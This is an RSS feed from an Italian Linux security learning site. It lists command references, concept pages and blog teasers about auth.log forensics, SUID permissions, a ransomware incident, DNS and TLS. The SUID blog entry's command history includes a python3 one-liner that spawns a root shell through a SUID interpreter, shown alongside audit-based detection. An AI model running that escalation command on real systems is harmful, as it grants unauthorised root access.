&lt;li&gt;&lt;code&gt;man comando&lt;/code&gt; è il manuale completo, navigabile con &lt;code&gt;/parola&lt;/code&gt; per cercare&lt;/li&gt;
&lt;li&gt;&lt;code&gt;whatis comando&lt;/code&gt; ti dice in una riga cosa fa qualcosa che hai trovato nei log&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/man/" &gt;man&lt;/a&gt; ls&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/man/" &gt;man&lt;/a&gt; 5 passwd&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/man/" &gt;man&lt;/a&gt; -k password&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/man/" &gt;man&lt;/a&gt; -f passwd&lt;/li&gt;
&lt;li&gt;apropos permission&lt;/li&gt;
&lt;li&gt;apropos -r &amp;quot;^ssh&amp;quot;&lt;/li&gt;
&lt;li&gt;whatis find&lt;/li&gt;
&lt;li&gt;tar --help&lt;/li&gt;
&lt;li&gt;tar --help | grep extract&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;&lt;figure&gt;&lt;img
 class="my-0 rounded-md"
 loading="lazy"
 decoding="async"
 fetchpriority="auto"
 alt="Offline. Non al buio."
 width="1536"
 height="2752"
 src="https://u-random.dev/assets/offline-non-al-buio_hu_70342d2531d28f5e.webp"
 srcset="https://u-random.dev/assets/offline-non-al-buio_hu_70342d2531d28f5e.webp 800w, https://u-random.dev/assets/offline-non-al-buio_hu_61c1e927da7b19e6.webp 1280w"
 sizes="(min-width: 768px) 50vw, 65vw"
 data-zoom-src="https://u-random.dev/assets/offline-non-al-buio.webp"&gt;&lt;/figure&gt;
&lt;/p&gt;</description></item><item><title>sha256sum - SHA-256 checksum</title><link>https://u-random.dev/comandi/sha256sum/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/sha256sum/</guid><description>Calcola e verifica hash SHA-256 di file. Usato per verificare l'integrita' di download, immagini ISO, copie forensi e rilevare modifiche non autorizzate ai file.</description></item><item><title>auth.log - log di autenticazione</title><link>https://u-random.dev/concetti/auth-log/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/auth-log/</guid><description>auth.log e' il file di log delle autenticazioni su sistemi Debian/Ubuntu. Registra login SSH, sudo, su, adduser, userdel e ogni evento PAM. E' un file di testo alterabile da root - il journal e' piu' resistente alla manomissione.</description></item><item><title>Cancellato. Ma non abbastanza.</title><link>https://u-random.dev/blog/utente-cancellato-non-abbastanza/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/utente-cancellato-non-abbastanza/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;testuser&lt;/code&gt; compare all'01:14, tenta l'escalation, poi viene cancellato alle 04:47&lt;/li&gt;
&lt;li&gt;&lt;code&gt;auth.log&lt;/code&gt; registra ogni evento: creazione, tre sudo falliti, disconnessione&lt;/li&gt;
&lt;li&gt;&lt;code&gt;find / -uid 1001 2&amp;gt;/dev/null&lt;/code&gt; trova i file rimasti anche dopo &lt;code&gt;userdel&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Cancellare un utente non cancella la sua storia - cancella solo il nome&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/grep/" &gt;grep&lt;/a&gt; -E &amp;quot;useradd|userdel&amp;quot; /var/log/auth.log&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/grep/" &gt;grep&lt;/a&gt; &amp;quot;testuser&amp;quot; /var/log/auth.log&lt;/li&gt;
&lt;li&gt;last testuser&lt;/li&gt;
&lt;li&gt;find / -uid 1001 2&amp;gt;/dev/null&lt;/li&gt;
&lt;li&gt;cat /home/testuser/.bash_history&lt;/li&gt;
&lt;li&gt;journalctl --since &amp;quot;2026-03-25 04:40&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;&lt;figure&gt;&lt;img
 class="my-0 rounded-md"
 loading="lazy"
 decoding="async"
 fetchpriority="auto"
 alt="Utente cancellato - post-mortem auth.log"
 width="2752"
 height="1536"
 src="https://u-random.dev/assets/utente-cancellato-non-abbastanza_hu_eda3d265251eef1c.webp"
 srcset="https://u-random.dev/assets/utente-cancellato-non-abbastanza_hu_eda3d265251eef1c.webp 800w, https://u-random.dev/assets/utente-cancellato-non-abbastanza_hu_33e95f69c2ad1a10.webp 1280w"
 sizes="(min-width: 768px) 50vw, 65vw"
 data-zoom-src="https://u-random.dev/assets/utente-cancellato-non-abbastanza.webp"&gt;&lt;/figure&gt;
&lt;/p&gt;</description></item><item><title>journald - systemd-journald</title><link>https://u-random.dev/concetti/journald/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/journald/</guid><description>systemd-journald e' il demone che raccoglie e indicizza tutti i log di sistema in un database binario strutturato. A differenza di auth.log, usa FSS per rendere le modifiche rilevabili. Si legge con journalctl.</description></item><item><title>last / lastb - login history</title><link>https://u-random.dev/comandi/last-lastb/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/last-lastb/</guid><description>last mostra la cronologia dei login riusciti da /var/log/wtmp. lastb mostra i login falliti da /var/log/btmp. Entrambi leggono file binari — non usare cat, usare questi comandi.</description></item><item><title>PAM - Pluggable Authentication Modules</title><link>https://u-random.dev/concetti/pam/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/pam/</guid><description>PAM (Pluggable Authentication Modules) e' il sistema di autenticazione modulare di Linux. Ogni servizio delega l'autenticazione a PAM che esegue una catena di moduli configurabili in /etc/pam.d/.</description></item><item><title>alias - create command alias</title><link>https://u-random.dev/comandi/alias/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/alias/</guid><description>Crea scorciatoie per comandi lunghi o complessi. Gli alias temporanei durano solo la sessione corrente, quelli permanenti vanno in ~/.bashrc o ~/.zshrc.</description></item><item><title>export - export variable to environment</title><link>https://u-random.dev/comandi/export/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/export/</guid><description>Esporta variabili shell nell'ambiente, rendendole visibili ai processi figli. Fondamentale per PATH, EDITOR e variabili di configurazione che devono essere ereditate.</description></item><item><title>I file erano ancora lì. Solo che non li potevo più leggere.</title><link>https://u-random.dev/blog/cia-triad-ransomware/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/cia-triad-ransomware/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;CIA Triad: Confidentiality, Integrity, Availability - i tre pilastri che ogni attacco viola&lt;/li&gt;
&lt;li&gt;Un ransomware li colpisce tutti e tre in sequenza: esfiltra (C), cifra (I), blocca (A)&lt;/li&gt;
&lt;li&gt;L'ingresso era un bit SUID lasciato su &lt;code&gt;python3&lt;/code&gt; - zero exploit, zero CVE&lt;/li&gt;
&lt;li&gt;Senza la CIA Triad come mappa, stai guardando i sintomi senza vedere la malattia&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/find/" &gt;find&lt;/a&gt; -perm -4000 -type f 2&amp;gt;/dev/null&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/ls/" &gt;ls&lt;/a&gt; -la /etc/shadow&lt;/li&gt;
&lt;li&gt;diff /backup/etc/passwd /etc/passwd&lt;/li&gt;
&lt;li&gt;systemctl status ssh&lt;/li&gt;
&lt;li&gt;stat /usr/bin/python3&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Sono le 23:12. Il telefono vibra tre volte di fila - notifiche di monitoring. Mi alzo, apro il portatile.&lt;/p&gt;</description></item><item><title>jobs / fg / bg - gestione job shell</title><link>https://u-random.dev/comandi/jobs-fg-bg/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/jobs-fg-bg/</guid><description>Gestione dei job in foreground e background nella shell. jobs elenca i processi sospesi o in background, fg li riporta in primo piano, bg li riprende senza occupare il terminale.</description></item><item><title>kill - send signal to process</title><link>https://u-random.dev/comandi/kill/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/kill/</guid><description>Invia segnali ai processi tramite PID. SIGTERM chiede una chiusura pulita, SIGKILL forza la terminazione immediata senza possibilita' di essere ignorata.</description></item><item><title>Linux Processes - processi</title><link>https://u-random.dev/concetti/linux-processes/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/linux-processes/</guid><description>Un processo e' un programma in esecuzione con PID univoco, spazio di memoria isolato e stato. Il kernel crea l'illusione del multitasking switching rapidamente tra processi in coda CPU.</description></item><item><title>netplan - network-defense configuration tool</title><link>https://u-random.dev/comandi/netplan/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/netplan/</guid><description>Tool di configurazione di rete su Ubuntu moderno. Legge file YAML in /etc/netplan/ e genera la configurazione per il backend di rete. Usato per assegnare IP statici alle VM di laboratorio.</description></item><item><title>printenv - print environment</title><link>https://u-random.dev/comandi/printenv/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/printenv/</guid><description>Mostra le variabili d'ambiente esportate, visibili ai processi figli. A differenza di set, non mostra variabili shell locali ne' funzioni bash.</description></item><item><title>ps - process status</title><link>https://u-random.dev/comandi/ps/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ps/</guid><description>Mostra uno snapshot dei processi in esecuzione con PID, utente, CPU e memoria. Fondamentale in incident response per identificare processi sospetti.</description></item><item><title>scp - secure copy</title><link>https://u-random.dev/comandi/scp/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/scp/</guid><description>Copia file tra host locale e remoto (o tra due host remoti) usando il protocollo SSH come trasporto. Stesso sistema di autenticazione e sicurezza di SSH, incluso il supporto a ~/.ssh/config.</description></item><item><title>Shell Environment - ambiente shell</title><link>https://u-random.dev/concetti/shell-environment/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/shell-environment/</guid><description>L'ambiente shell e' l'insieme di variabili d'ambiente ereditate dai processi figli. Distingue variabili locali (solo shell corrente) da variabili d'ambiente (esportate, visibili ai figli).</description></item><item><title>vim - Vi IMproved</title><link>https://u-random.dev/comandi/vim/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/vim/</guid><description>Editor di testo modale a riga di comando. Tre modalita' principali: Normal (navigazione e comandi), Insert (scrittura), Visual (selezione). Presente su tutti i sistemi Unix — sapere aprire e chiudere un file e' requisito minimo.</description></item><item><title>Anatomia di una query DNS</title><link>https://u-random.dev/blog/anatomia-di-una-query-dns/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/anatomia-di-una-query-dns/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;Prima di mandare qualsiasi pacchetto in rete, il sistema cerca la risposta in cache - browser, OS, &lt;code&gt;/etc/hosts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Se non trova niente, chiede al resolver ISP (es. 8.8.8.8) che fa il lavoro sporco&lt;/li&gt;
&lt;li&gt;Il resolver risale la gerarchia: Root Server → TLD Server → Nameserver autoritativo&lt;/li&gt;
&lt;li&gt;La risposta torna con un TTL - un timer che dice quanto tenerla in cache prima di richiederla&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/nslookup/" &gt;nslookup&lt;/a&gt; example.com&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/nslookup/" &gt;nslookup&lt;/a&gt; -type=MX example.com&lt;/li&gt;
&lt;li&gt;dig example.com&lt;/li&gt;
&lt;li&gt;dig +trace example.com&lt;/li&gt;
&lt;li&gt;dig -x 8.8.8.8&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Ogni volta che scrivi un dominio nel browser e premi invio, parte una catena di eventi che la maggior parte delle persone non vede mai. Il risultato finale è un indirizzo IP - ma il percorso per arrivarci attraversa cache locali, server distribuiti in tutto il mondo e una gerarchia precisa.&lt;/p&gt;</description></item><item><title>chmod +s - il bit che dimentichi e l'attaccante trova</title><link>https://u-random.dev/blog/privilege-escalation-via-suid/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/privilege-escalation-via-suid/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;SUID forza l'EUID al proprietario del file al momento dell'esecuzione - se il proprietario è root, ogni utente che lo esegue ottiene EUID=0&lt;/li&gt;
&lt;li&gt;Un interprete con SUID root (python3, perl, bash) è escalation immediata: nessuna vulnerabilità da sfruttare, nessun exploit da compilare&lt;/li&gt;
&lt;li&gt;&lt;code&gt;find / -perm -4000 -type f 2&amp;gt;/dev/null&lt;/code&gt; in 30 secondi elenca tutto quello che conta&lt;/li&gt;
&lt;li&gt;Detection: baseline snapshot dei SUID in CI/CD + auditd rule su &lt;code&gt;execve&lt;/code&gt; con &lt;code&gt;euid=0&lt;/code&gt; e &lt;code&gt;auid!=unset&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/find/" &gt;find&lt;/a&gt; -perm -4000 -type f 2&amp;gt;/dev/null&lt;/li&gt;
&lt;li&gt;stat /usr/bin/python3&lt;/li&gt;
&lt;li&gt;id&lt;/li&gt;
&lt;li&gt;cat /proc/self/status&lt;/li&gt;
&lt;li&gt;python3 -c &amp;quot;import os; os.execl('/bin/sh', 'sh', '-p')&amp;quot;&lt;/li&gt;
&lt;li&gt;auditctl -l&lt;/li&gt;
&lt;li&gt;ausearch -m execve -k suid_exec&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/ls/" &gt;ls&lt;/a&gt; -la /usr/bin/python3&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Sono le 02:41. Il SIEM ha alzato un flag su &lt;code&gt;prod-api-03&lt;/code&gt;: processo root con parent &lt;code&gt;python3&lt;/code&gt;, nessun deploy in corso, nessuna maintenance window schedulata. Il processo è già terminato quando apro il ticket. Non c'è output, non c'è file scritto. Solo un'esecuzione anomala durata undici secondi.&lt;/p&gt;</description></item><item><title>Etc Directory Purpose</title><link>https://u-random.dev/concetti/etc-directory-purpose/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/etc-directory-purpose/</guid><description>La directory /etc/ contiene i file di configurazione globali del sistema operativo. Include i database critici per la gestione di utenti, gruppi e privilegi.</description></item><item><title>history</title><link>https://u-random.dev/comandi/history/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/history/</guid><description>Mostra la lista dei comandi eseguiti nella sessione corrente e in quelle precedenti. Permette di richiamare, cercare e riutilizzare comandi senza riscriverli.</description></item><item><title>Il file che si comporta da root - capire il bit SUID</title><link>https://u-random.dev/blog/cosa-sono-i-permessi-suid/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/cosa-sono-i-permessi-suid/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;I permessi Linux normali controllano &lt;em&gt;chi può eseguire&lt;/em&gt; un file - SUID cambia &lt;em&gt;con quale identità&lt;/em&gt; viene eseguito&lt;/li&gt;
&lt;li&gt;Un file con SUID root gira sempre come root, indipendentemente da chi lo avvia&lt;/li&gt;
&lt;li&gt;Esistono per necessità (es. &lt;code&gt;passwd&lt;/code&gt; deve scrivere &lt;code&gt;/etc/shadow&lt;/code&gt; senza darti root)&lt;/li&gt;
&lt;li&gt;Diventano pericolosi quando vengono impostati su file sbagliati - specialmente interpreti come python3 o bash&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/ls/" &gt;ls&lt;/a&gt; -la /usr/bin/passwd&lt;/li&gt;
&lt;li&gt;stat /usr/bin/passwd&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/find/" &gt;find&lt;/a&gt; -perm -4000 -type f 2&amp;gt;/dev/null&lt;/li&gt;
&lt;li&gt;id&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Quando esegui un comando su Linux, il sistema controlla chi sei - il tuo user ID - e decide cosa puoi fare. È il modello di base: ogni processo eredita i permessi dell'utente che lo ha lanciato.&lt;/p&gt;</description></item><item><title>su - substitute user</title><link>https://u-random.dev/comandi/su/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/su/</guid><description>Esegue una shell come un altro utente. Con il flag &lt;code&gt;-&lt;/code&gt; simula un login completo caricando l'ambiente dell'utente target. Lascia tracce diverse in auth.log rispetto a sudo.</description></item><item><title>sudo - superuser do</title><link>https://u-random.dev/comandi/sudo/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/sudo/</guid><description>Esegue un singolo comando con i privilegi di un altro utente (default: root). A differenza di su, usa la password dell'utente corrente e ogni azione e' tracciata in auth.log.</description></item><item><title>User Management - gestione utenti e gruppi</title><link>https://u-random.dev/comandi/user-management/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/user-management/</guid><description>Comandi per creare, modificare ed eliminare utenti e gruppi su Linux. Include adduser, usermod, userdel, groupadd, groupdel, passwd, chown, chgrp e lastlog.</description></item><item><title>CIA Triad</title><link>https://u-random.dev/concetti/cia-triad/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/cia-triad/</guid><description>La triade CIA definisce i tre obiettivi fondamentali della sicurezza informatica: Confidentiality, Integrity, Availability. Ogni attacco viola almeno uno di questi tre pilastri.</description></item><item><title>Cryptography</title><link>https://u-random.dev/concetti/cryptography/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/cryptography/</guid><description>La crittografia protegge la Confidentiality e l'Integrity dei dati. Due approcci principali: simmetrica (una chiave, veloce) e asimmetrica (coppia pubblica/privata, lenta). I sistemi reali usano entrambe insieme.</description></item><item><title>curl - Client URL</title><link>https://u-random.dev/comandi/curl/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/curl/</guid><description>Client HTTP da riga di comando. Manda richieste HTTP/HTTPS e mostra la risposta. Piu' versatile di wget per testare API, vedere header e debuggare servizi web.</description></item><item><title>Il lucchetto verde - cosa succede davvero in quei 250 millisecondi</title><link>https://u-random.dev/blog/come-funziona-una-connessione-https/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/come-funziona-una-connessione-https/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;Prima del TLS c'è TCP: tre pacchetti solo per aprire il canale&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ClientHello&lt;/code&gt; è il nome reale del messaggio - lo vedi in Wireshark, è nell'RFC&lt;/li&gt;
&lt;li&gt;Browser e server derivano la stessa chiave senza mai trasmettersela (Diffie-Hellman)&lt;/li&gt;
&lt;li&gt;Ogni sessione usa chiavi nuove e le butta via - anche se qualcuno ruba la chiave del server tra un anno, il traffico di oggi resta illeggibile&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/openssl-s_client/" &gt;openssl s_client&lt;/a&gt; -connect google.com:443 -showcerts&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/openssl-s_client/" &gt;openssl s_client&lt;/a&gt; -connect dominio.com:443 2&amp;gt;/dev/null | openssl x509 -noout -dates&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/openssl-s_client/" &gt;openssl s_client&lt;/a&gt; -connect google.com:443 &amp;lt;/dev/null 2&amp;gt;/dev/null | openssl x509 -noout -text | &lt;a href="https://u-random.dev/comandi/grep/" &gt;grep&lt;/a&gt; -E &amp;quot;Subject|Issuer|Not After&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Ogni volta che scrivi &lt;code&gt;https://&lt;/code&gt; nel browser e premi invio, sullo sfondo succede qualcosa che la maggior parte degli sviluppatori web dà per scontato. Il lucchetto verde appare, la connessione è &amp;quot;sicura&amp;quot;, si va avanti.&lt;/p&gt;</description></item><item><title>more</title><link>https://u-random.dev/comandi/more/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/more/</guid><description>Pager — mostra un file una schermata alla volta. Se il contenuto entra in una schermata esce subito. Se non entra va in modalità interattiva. Usato come vettore di escape in Bandit 25.</description></item><item><title>Command Grouping - {}</title><link>https://u-random.dev/concetti/command-grouping/</link><pubDate>Sat, 21 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/command-grouping/</guid><description>Le graffe {} raggruppano piu' comandi in un unico stdout. La pipe che segue riceve tutto l'output come se fosse un comando solo. Fondamentale per mandare stream di dati a un processo senza aprire connessioni multiple.</description></item><item><title>chmod - change mode</title><link>https://u-random.dev/comandi/chmod/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/chmod/</guid><description>Modifica i permessi di accesso di file e directory. Supporta notazione ottale (stato finale esatto) e simbolica (modifica singolo bit). Fondamentale per il principio del minimo privilegio.</description></item><item><title>docker</title><link>https://u-random.dev/comandi/docker/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/docker/</guid><description>Piattaforma di containerizzazione per eseguire applicazioni in ambienti isolati. Ogni container e' un processo con il proprio filesystem, rete e permessi, 